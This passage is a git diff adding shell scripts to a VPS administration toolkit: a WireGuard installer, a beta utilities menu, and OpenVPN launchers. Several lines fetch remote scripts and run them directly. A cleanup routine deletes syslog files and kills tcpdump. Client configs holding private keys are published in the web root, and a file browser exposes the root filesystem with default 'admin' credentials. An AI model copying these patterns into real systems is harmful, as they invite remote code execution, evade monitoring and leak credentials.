address=${FIREWALLD_IPV6_ADDRESS}/24 masquerade'" >>"/etc/wireguard/${SERVER_WG_NIC}.conf" + else + echo "PostUp = iptables -A FORWARD -i ${SERVER_PUB_NIC} -o ${SERVER_WG_NIC} -j ACCEPT; iptables -A FORWARD -i ${SERVER_WG_NIC} -j ACCEPT; iptables -t nat -A POSTROUTING -o ${SERVER_PUB_NIC} -j MASQUERADE; ip6tables -A FORWARD -i ${SERVER_WG_NIC} -j ACCEPT; ip6tables -t nat -A POSTROUTING -o ${SERVER_PUB_NIC} -j MASQUERADE +PostDown = iptables -D FORWARD -i ${SERVER_PUB_NIC} -o ${SERVER_WG_NIC} -j ACCEPT; iptables -D FORWARD -i ${SERVER_WG_NIC} -j ACCEPT; iptables -t nat -D POSTROUTING -o ${SERVER_PUB_NIC} -j MASQUERADE; ip6tables -D FORWARD -i ${SERVER_WG_NIC} -j ACCEPT; ip6tables -t nat -D POSTROUTING -o ${SERVER_PUB_NIC} -j MASQUERADE" >>"/etc/wireguard/${SERVER_WG_NIC}.conf" + fi + + # Enable routing on the server + echo "net.ipv4.ip_forward = 1 +net.ipv6.conf.all.forwarding = 1" >/etc/sysctl.d/wg.conf + + sysctl --system + + systemctl start "wg-quick@${SERVER_WG_NIC}" &> /dev/null + systemctl enable "wg-quick@${SERVER_WG_NIC}" &> /dev/null + + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + v2ray clean 1> /dev/null 2> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + rm -f /var/log/syslog* + sleep 4 +} +function aguarde() { + sleep 1 + helice() { + fun_limpram >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO Y CONFIGURANDO \033[1;32mWire\033[1;37m|\033[1;32mGuard\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +function installWireGuard() { +msg -bar2 + # Run setup questions first + installQuestions + msg -bar2 + echo "" + echo -e " ESPERA MIENTRAS DE COMPLETA EL PROCESO . . . " + echo -e " " + # Install WireGuard tools and module +aguarde +echo "" +msg -bar2 + newClient + echo "Si desea agregar más clientes, simplemente necesita ejecutar este script nuevamente." + + # Check if WireGuard is running + systemctl is-active --quiet "wg-quick@${SERVER_WG_NIC}" + WG_RUNNING=$? + + # WireGuard might not work if we updated the kernel. Tell the user to reboot + if [[ ${WG_RUNNING} -ne 0 ]]; then + echo -e "\n${RED}AVISO: WireGuard no parece estar ejecutándose.${NC}" + echo -e "${ORANGE}Puede verificar que WireGuard se está ejecutando con: systemctl status wg-quick@${SERVER_WG_NIC}${NC}" + echo -e "${ORANGE}Si obtiene algo como \"No se puede encontrar el dispositivo ${SERVER_WG_NIC}\", por favor reinicie!${NC}" + fi +} + +function newClient() { + ENDPOINT="${SERVER_PUB_IP}:${SERVER_PORT}" + + echo "" + echo " DIJITE UN NOMBRE PARA SU 1 CLIENTE " + echo -e "El nombre debe constar de caracteres alfanuméricos. \n También puede incluir un guión bajo o un guión y no puede exceder los 15 caracteres." + + until [[ ${CLIENT_NAME} =~ ^[a-zA-Z0-9_-]+$ && ${CLIENT_EXISTS} == '0' && ${#CLIENT_NAME} -lt 16 ]]; do + read -rp "NOMBRE DEL CLIENTE: " -e CLIENT_NAME + CLIENT_EXISTS=$(grep -c -E "^### Client ${CLIENT_NAME}\$" "/etc/wireguard/${SERVER_WG_NIC}.conf") + + if [[ ${CLIENT_EXISTS} == '1' ]]; then + echo "" + echo "Ya se ha creado un cliente con el nombre especificado, elija otro nombre." + echo "" + fi + done + + for DOT_IP in {2..254}; do + DOT_EXISTS=$(grep -c "${SERVER_WG_IPV4::-1}${DOT_IP}" "/etc/wireguard/${SERVER_WG_NIC}.conf") + if [[ ${DOT_EXISTS} == '0' ]]; then + break + fi + done + + if [[ ${DOT_EXISTS} == '1' ]]; then + echo "" + echo "A sub-rede configurada suporta apenas 253 clientes." + exit 1 + fi + + BASE_IP=$(echo "$SERVER_WG_IPV4" | awk -F '.' '{ print $1"."$2"."$3 }') + until [[ ${IPV4_EXISTS} == '0' ]]; do + read -rp "Cliente WireGuard IPv4: ${BASE_IP}." -e -i "${DOT_IP}" DOT_IP + CLIENT_WG_IPV4="${BASE_IP}.${DOT_IP}" + IPV4_EXISTS=$(grep -c "$CLIENT_WG_IPV4/24" "/etc/wireguard/${SERVER_WG_NIC}.conf") + + if [[ ${IPV4_EXISTS} == '1' ]]; then + echo "" + echo "Ya se ha creado un cliente con el IPv4 especificado, elija otro IPv4." + echo "" + fi + done + + BASE_IP=$(echo "$SERVER_WG_IPV6" | awk -F '::' '{ print $1 }') + until [[ ${IPV6_EXISTS} == '0' ]]; do + read -rp "WireGuard IPv6 do cliente: ${BASE_IP}::" -e -i "${DOT_IP}" DOT_IP + CLIENT_WG_IPV6="${BASE_IP}::${DOT_IP}" + IPV6_EXISTS=$(grep -c "${CLIENT_WG_IPV6}/64" "/etc/wireguard/${SERVER_WG_NIC}.conf") + + if [[ ${IPV6_EXISTS} == '1' ]]; then + echo "" + echo "Ya se ha creado un cliente con el IPv6 especificado, elija otro IPv6." + echo "" + fi + done + + # Generate key pair for the client + CLIENT_PRIV_KEY=$(wg genkey) + CLIENT_PUB_KEY=$(echo "${CLIENT_PRIV_KEY}" | wg pubkey) + CLIENT_PRE_SHARED_KEY=$(wg genpsk) + + # Home directory of the user, where the client configuration will be written + if [ -e "/home/${CLIENT_NAME}" ]; then + # if $1 is a user name + HOME_DIR="/home/${CLIENT_NAME}" + elif [ "${SUDO_USER}" ]; then + # if not, use SUDO_USER + if [ "${SUDO_USER}" == "root" ]; then + # If running sudo as root + HOME_DIR="/root" + else + HOME_DIR="/home/${SUDO_USER}" + fi + else + # if not SUDO_USER, use /root + HOME_DIR="/root" + fi + + # Create client file and add the server as a peer + echo "[Interface] +PrivateKey = ${CLIENT_PRIV_KEY} +Address = ${CLIENT_WG_IPV4}/32,${CLIENT_WG_IPV6}/128 +DNS = ${CLIENT_DNS_1},${CLIENT_DNS_2} + +[Peer] +PublicKey = ${SERVER_PUB_KEY} +PresharedKey = ${CLIENT_PRE_SHARED_KEY} +Endpoint = ${ENDPOINT} +AllowedIPs = 0.0.0.0/0,::/0" >>"${HOME_DIR}/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf" + + # Add the client as a peer to the server + echo -e "\n### Client ${CLIENT_NAME} +[Peer] +PublicKey = ${CLIENT_PUB_KEY} +PresharedKey = ${CLIENT_PRE_SHARED_KEY} +AllowedIPs = ${CLIENT_WG_IPV4}/32,${CLIENT_WG_IPV6}/128" >>"/etc/wireguard/${SERVER_WG_NIC}.conf" + + wg syncconf "${SERVER_WG_NIC}" <(wg-quick strip "${SERVER_WG_NIC}") + + echo -e "\nAqui está o arquivo de configuração do seu cliente como um código QR:" + + qrencode -t ansiutf8 -l L <"${HOME_DIR}/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf" + + echo "Também está disponível em ${HOME_DIR}/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf" + cp ${HOME_DIR}/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf /var/www/html/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf + echo -e " ===================================================" + echo "" + echo -e " URL WEB : http://$(wget -qO- ifconfig.me):81/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf" + echo -e "" + echo -e " ===================================================" + +} + +function revokeClient() { + NUMBER_OF_CLIENTS=$(grep -c -E "^### Client" "/etc/wireguard/${SERVER_WG_NIC}.conf") + if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then + echo "" + echo "¡No tienes clientes existentes!" + #exit 1 + fi + + echo "" + echo "Seleccione el cliente existente que desea revocar" + grep -E "^### Client" "/etc/wireguard/${SERVER_WG_NIC}.conf" | cut -d ' ' -f 3 | nl -s ') ' + until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do + if [[ ${CLIENT_NUMBER} == '1' ]]; then + read -rp "Selecione un cliente [1]: " CLIENT_NUMBER + else + read -rp "Selecione un cliente [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER + fi + done + + # match the selected number to a client name + CLIENT_NAME=$(grep -E "^### Client" "/etc/wireguard/${SERVER_WG_NIC}.conf" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) + + # remove [Peer] block matching $CLIENT_NAME + sed -i "/^### Client ${CLIENT_NAME}\$/,/^$/d" "/etc/wireguard/${SERVER_WG_NIC}.conf" + + # remove generated client file + rm -f "${HOME}/${SERVER_WG_NIC}-client-${CLIENT_NAME}.conf" + + # restart wireguard to apply changes + wg syncconf "${SERVER_WG_NIC}" <(wg-quick strip "${SERVER_WG_NIC}") +} + +function uninstallWg() { + echo "" + read -rp "¿Realmente desea eliminar WireGuard? [y/n]: " -e -i n REMOVE + if [[ $REMOVE == 'y' ]]; then + checkOS + + systemctl stop "wg-quick@${SERVER_WG_NIC}" + systemctl disable "wg-quick@${SERVER_WG_NIC}" + + if [[ ${OS} == 'ubuntu' ]]; then + apt-get autoremove --purge -y wireguard qrencode + elif [[ ${OS} == 'debian' ]]; then + apt-get autoremove --purge -y wireguard qrencode + elif [[ ${OS} == 'fedora' ]]; then + dnf remove -y wireguard-tools qrencode + if [[ ${VERSION_ID} -lt 32 ]]; then + dnf remove -y wireguard-dkms + dnf copr disable -y jdoss/wireguard + fi + dnf autoremove -y + elif [[ ${OS} == 'centos' ]]; then + yum -y remove kmod-wireguard wireguard-tools qrencode + yum -y autoremove + elif [[ ${OS} == 'oracle' ]]; then + yum -y remove wireguard-tools qrencode + yum -y autoremove + elif [[ ${OS} == 'arch' ]]; then + pacman -Rs --noconfirm wireguard-tools qrencode + fi + + rm -rf /etc/wireguard + rm -f /etc/sysctl.d/wg.conf + + # Reload sysctl + sysctl --system + + # Check if WireGuard is running + systemctl is-active --quiet "wg-quick@${SERVER_WG_NIC}" + WG_RUNNING=$? + + if [[ ${WG_RUNNING} -eq 0 ]]; then + echo "WireGuard no se pudo desinstalar correctamente." + exit 1 + else + echo "WireGuard desinstalado con exito." + exit 0 + fi + else + echo "" + echo "Eliminación abortada!" + fi +} + +function manageMenu() { + echo "¡Bienvenido a la instalación de WireGuard!" + #echo "El repositorio git está disponible en: https://github.com/leitura/wireguard-install" + echo "" + echo "Parece que WireGuard ya está instalado." + echo "" + echo " ¿Qué quieres hacer?" + echo " 1) Agregar un nuevo usuario" + echo " 2) Revocar usuario existente" + echo " 3) Desinstalar WireGuard" + echo " 4) Salir" + until [[ ${MENU_OPTION} =~ ^[1-4]$ ]]; do + read -rp "Selecione uma opcion [1-4]: " MENU_OPTION + done + case "${MENU_OPTION}" in + 1) + newClient + ;; + 2) + revokeClient + ;; + 3) + uninstallWg + ;; + 4) + exit 0 + ;; + esac +} + +# Check for root, virt, OS... +initialCheck + +# Check if WireGuard is already installed and load params +if [[ -e /etc/wireguard/params ]]; then + source /etc/wireguard/params + manageMenu +else + installWireGuard +fi diff --git a/Recursos/menu_inst/h_beta.sh b/Recursos/menu_inst/h_beta.sh new file mode 100644 index 0000000..2a951ec --- /dev/null +++ b/Recursos/menu_inst/h_beta.sh @@ -0,0 +1,270 @@ +#!/bin/bash +# + + verif_ptrs() { + porta=$1 + PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN") + for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do + svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq) + [[ "$porta" = "$pton" ]] && { + echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mOCUPADO POR \033[1;37m$svcs\033[0m" + sleep 0.5 + return 0 + } + done + } + +source msg +fun_openssh() { + clear + echo -e "\E[44;1;37m OPENSSH \E[0m\n" + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m• \033[1;33mADICIONAR PORTA\033[1;31m +[\033[1;36m2\033[1;31m] \033[1;37m• \033[1;33mREMOVER PORTA\033[1;31m +[\033[1;36m3\033[1;31m] \033[1;37m• \033[1;33mVOLTAR\033[0m" + echo "" + echo -ne "\033[1;32mOQUE DESEJA FAZER \033[1;33m?\033[1;37m " + read resp + if [[ "$resp" = '1' ]]; then + clear + echo -e "\E[44;1;37m ADICIONAR PORTA AO SSH \E[0m\n" + echo -ne "\033[1;32mQUAL PORTA DESEJA ADICIONAR \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPorta invalida!" + sleep 3 + return 0 + } + verif_ptrs $pt + echo -e "\n\033[1;32mADICIONANDO PORTA AO SSH\033[0m" + echo "" + fun_addpssh() { + echo "Port $pt" >>/etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_addpssh' + echo -e "\n\033[1;32mPORTA ADICIONADA COM SUCESSO\033[0m" + sleep 3 + return 0 + elif [[ "$resp" = '2' ]]; then + clear + echo -e "\E[41;1;37m REMOVER PORTA DO SSH \E[0m" + echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPORTA PADRAO \033[1;37m22 \033[1;33mCUIDADO !\033[0m" + echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n" + echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 2 + return 0 + } + [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && { + echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m" + echo "" + fun_delpssh() { + sed -i "/Port $pt/d" /etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_delpssh' + echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m" + sleep 2 + return 0 + } || { + echo -e "\n\033[1;31mPorta invalida!" + sleep 2 + return 0 + } + elif [[ "$resp" = '3' ]]; then + echo -e "\n\033[1;31mRetornando.." + sleep 2 + return 0 + else + echo -e "\n\033[1;31mOpcao invalida!" + sleep 2 + return 0 + fi + } + + +menu_udp () { +_udp=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "badvpn-ud"|awk '{print $1}') +[[ -z $_udp ]] && v_udp="\e[31m[ OFF ]" || v_udp="\e[32m[ ON ] " +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮ ${cor[3]} PARAR TODOS LOS BADVPN $v_udp" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ ${cor[3]} ADD + BADVPN ( CUSTOM PORT )" +#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ ${cor[3]} AGREGAR / REMOVER HOST-SQUID" +#echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮ ${cor[3]} DESINSTALAR SQUID" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +0) +return 0 +;; +1) +for pid in $(pgrep badvpn-udpgw);do +kill $pid +done +return 0 +;; +2) +badcustom +return 0 +;; +esac +} + +badcustom () { +msg -bar +echo -e "BIENVENIDO AL MENU DE CUSTOM PORT " +msg -bar +read -p " DIJITA TU PUERTO CUSTOM PARA BADVPN :" -e -i "7100" port +echo -e " VERIFICANDO BADVPN " +msg -bar +screen -dmS badvpn$port /bin/badvpn-udpgw --listen-addr 127.0.0.1:${port} --max-clients 10000 --max-connections-for-client 10000 --client-socket-sndbuf 10000 && msg -ama " BadVPN ACTIVADA CON EXITO" || msg -ama " Error al Activar BadVPN" +echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'badvpn'$port -X quit; screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:${port} --max-clients 10000 --max-connections-for-client 10000 --client-socket-sndbuf 10000; }" >>/bin/autoboot +msg -bar +#echo -e "" + +} + +_badfix () { +https://github.com/rudi9999/ADMRufu/raw/main/Utils/badvpn/badvpn-master.zip + +} + +packobs () { +msg -ama "Buscando Paquetes Obsoletos" +dpkg -l | grep -i ^rc +msg -ama "Limpiando Paquetes Obsoloteos" +dpkg -l |grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge +sudo sync +sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1 +msg -ama "Limpieza Completa" +} + +############ + +SCPdir="/etc/adm-lite" +#SCPfrm="${SCPdir}" && [[ ! -d ${SCPfrm} ]] && exit +#SCPinst="${SCPdir}"&& [[ ! -d ${SCPinst} ]] && exit +#declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" [5]="\e[1;36m" ) + +#LISTA PORTAS +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1:$var2")" ]] || portas+="$var1:$var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + + +fun_apache () { +echo -e "FUNCION DE MENU APACHE MODO BETA" +msg -bar +read -p " INGRESA PUERTO APACHE NUEVO :" nwPP +[[ -z $nwPP ]] && nwPP="81" +msg -bar +echo "ESPERE MIENTRAS COMPLETAMOS EL PROCESO" +fun_bar "apt purge apache2 -y " +echo "REINSTALANDO Y RECONFIGURANDO" +fun_bar "apt install apache2 -y " +sed -i "s;Listen 80;Listen ${nwPP};g" /etc/apache2/ports.conf +echo "REINICIANDO Y APLICANDO CAMBIOS" +service apache2 restart &>/dev/null +} + +filemanager () { +[[ $(ps x | grep filebrowser | grep -v grep) ]] && { +killall filebrowser &> /dev/null +} || { +[[ -z $(which filebrowser) ]] && curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash &> /dev/null +read -p " INGRESA PUERTO : " webrowser +nohup filebrowser -a $(ip -4 addr | sed -ne 's|^.* inet \([^/]*\)/.* scope global.*$|\1|p' | awk '{print $1}' | head -1) -b / -p ${webrowser} -r /root/& > /dev/null +msg -bar2 +echo "" +echo -e " SERVICIO ACTIVO EN URL : http://$(wget -qO- ifconfig.me):${webrowser}/" +echo "" +echo -e " ACCEDE CON LAS CREDENCIALES : admin " +echo "" +msg -bar2 +} +read -p " PRESIONA ENTER PARA CONTINUAR" +} + + +if netstat -tnlp |grep 'apache2' &>/dev/null; then +_apa="\e[32m[ ON ] " +else +_apa="\e[31m[ OFF ]" +fi +clear&&clear +[[ -e /etc/wireguard/params ]] && _wir="\e[32m[ ON ] " || _wir="\e[31m[ OFF ]" +[[ $(ps x | grep filebrowser | grep -v grep) ]] && file="\e[32m[ ON ] " || file="\e[31m[ OFF ]" +#msg -bar2 +#echo -e " \033[7;49;35m =>►► 🐲 FUNCIONES ALTERNS ChumoGH💥VPS 🐲 ◄◄<= \033[0m\033[1;31m" +#msg -bar2 +tittle +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m PUERTO APACHE CUSTOM ${_apa} " +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m LIMPIAR RAM && PAQUETES ANTIGUOS " +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;31m ADD / REMOVE PORTS CUSTOM BADVPN " +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m➮\033[0;31m ADD / REMOVE PORTS CUSTOM OPENSSH " +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m➮\033[0;31m TROJAN GO - BETA " +echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m➮\033[0;31m CREAR CERTIFICADO CON DOMINIO " +echo -e " \033[0;35m[\033[0;36m7\033[0;35m] \033[0;34m➮\033[0;31m Modulo WireGuard VPN Client ${_wir} " +echo -e " \033[0;35m[\033[0;36m8\033[0;35m] \033[0;34m➮\033[0;31m FIILEMANAGER WEB ${file} " +back + selection=$(selection_fun 8) +case ${selection} in +0) +return 0 +;; +1) +fun_apache +return 0 +;; +2) +packobs +return 0 +;; +3) +menu_udp +return 0 +;; +4) +fun_openssh +return 0 +;; +5) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/h_beta-sh/trojan-go) +;; +6) +clear&&clear +echo -e "================================================" +echo -e "A CONTINUACION CREAREMOS UN CETIFICADO SSL" +echo -e " LA VERIFICACION ES MEDIANTE DOMINIO" +echo -e " NECECITAS TENER EL PUERTO 80 Y 443 LIBRES" +echo -e "================================================" +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/certificadossl.sh) +echo -e "================================================" +echo -e "" +echo -e "================================================" +echo -e " SI LA EMICION FUE CORRECTA, TU CERTIFICADO" +echo -e " SE ENCUENTR ALOJADO EN /data " +echo -e "================================================" +echo -e " /data/cert.crt && /data/cert.key " +echo -e "================================================" +echo -e "" +;; +7) +rm -f /tmp/wireguard-install.sh* && wget -q -O /tmp/wireguard-install.sh https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/h_beta-sh/wireguard-install.sh && chmod +x /tmp/wireguard-install.sh && /tmp/wireguard-install.sh +;; +8) +filemanager +;; +esac + diff --git a/Recursos/menu_inst/openvpn.sh b/Recursos/menu_inst/openvpn.sh new file mode 100644 index 0000000..7f6b54f --- /dev/null +++ b/Recursos/menu_inst/openvpn.sh @@ -0,0 +1,47 @@ +#!/bin/bash +#19/12/2019 +clear +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir /etc/ger-frm +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && mkdir /etc/ger-inst +#source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +source msg +menu_org () { +sudo bash -c "$(curl -fsSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/openvpnmenu.sh)" +} + +menu_kali () { +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir /etc/ger-frm +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && mkdir /etc/ger-inst +SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} +SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPdir}/herramientas +SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && mkdir ${SCPdir}/protocolos +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +wget -O /tmp/openvpn.sh -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/openvpnmenu.sh && chmod +x /tmp/openvpn.sh && cd /tmp && ./openvpn.sh && cd + +#source <(curl -sL https://www.dropbox.com/s/omykq6x27ua54fb/openvpn-install.sh) + +} +source /etc/adm-lite/cabecalho +echo -e $barra +#echo -e " \033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +#echo -e $barra +#echo -e " \033[1;44mEstas Funciones Aun no estan Completas\033[0m, \n \033[1;44mpor lo que pueden presentar errores criticos\033[0m,\n \033[1;44mUselas bajo su Propio Riesgo\033[0m" +echo -e $barra +#echo -ne $(msg -verm2 " Instalador OpenVPN") && msg -azu " ( Estado Critico ) " +echo " " +echo -e $barra +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INICIAR Menu OPENVPN Original " +#echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m INICIAR Menu OPENVPN By @Kalix1" +echo -e $barra +#echo -e "\033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m SALIR" +#unset inst +#echo -e $barra +#echo -ne "\033[97m ESCOJE [ 1 / 2 ]: " +#read inst +sleep 5s +#[[ $inst = "1" ]] && +menu_org +#[[ $inst = "2" ]] && menu_kali +#[[ $inst = "3" ]] && stop_ser +#[[ $inst = "0" ]] && menu diff --git a/Recursos/menu_inst/openvpnmenu.sh b/Recursos/menu_inst/openvpnmenu.sh new file mode 100644 index 0000000..fa3cd7c --- /dev/null +++ b/Recursos/menu_inst/openvpnmenu.sh @@ -0,0 +1,595 @@ +#!/bin/bash +#19/12/2019 +clear&&clear +enter () { +read -p "Enter para Continuar" +} +# Funcoes Globais +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[91m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1) COLOR[$COL]='\033[1;37m';; +2) COLOR[$COL]='\e[31m';; +3) COLOR[$COL]='\e[32m';; +4) COLOR[$COL]='\e[33m';; +5) COLOR[$COL]='\e[34m';; +6) COLOR[$COL]='\033[0;35m';; +7) COLOR[$COL]='\033[1;36m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2) cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar") cor="${COLOR[6]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + esac +} + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +print_center(){ + local x + local y + text="$*" + x=$(( ($(tput cols) - ${#text}) / 2)) + echo -ne "\E[6n";read -sdR y; y=$(echo -ne "${y#*[}" | cut -d';' -f1) + echo -ne "\033[${y};${x}f$*" + echo "" +} + +msg -bar + +# MENU FLUTUANTE +menu_func () { +local options=${#@} +local array +for((num=1; num<=$options; num++)); do +echo -ne " $(msg -verd "[$num]") $(msg -verm2 "➮") " + array=(${!num}) + case ${array[0]} in + "-vd") msg -verd "\033[1;33m[!]\033[1;32m ${array[@]:1}" | sed ':a;N;$!ba;s/\n/ /g';; + "-vm") msg -verm2 "\033[1;33m[!]\033[1;31m ${array[@]:1}" | sed ':a;N;$!ba;s/\n/ /g';; + "-fi") msg -azu "${array[@]:2} ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g';; + *) msg -azu "${array[@]}" | sed ':a;N;$!ba;s/\n/ /g';; + esac +done +} + + +meu_ip () { +[[ -e /etc/catIPlocal && -e /etc/catIP ]] && { +MEU_IP=$(cat < /etc/catIPlocal) +MEU_IP2=$(cat < /etc/catIP) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} || { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) && echo $MEU_IP > /etc/catIPlocal +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) && echo $MEU_IP2 > /etc/catIP +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} +} + +# Detect Debian users running the script with "sh" instead of bash +if readlink /proc/$$/exe | grep -q "dash"; then + print_center "Este script se utiliza con bash" + enter +fi + +if [[ "$EUID" -ne 0 ]]; then + print_center "Sorry, solo funciona como root" + enter +fi + +if [[ ! -e /dev/net/tun ]]; then + print_center "El TUN device no esta disponible" + print_center "Necesitas habilitar TUN antes de usar este script" + enter +fi + +if [[ -e /etc/debian_version ]]; then + OS=debian + GROUPNAME=nogroup + RCLOCAL='/etc/rc.local' +elif [[ -e /etc/centos-release || -e 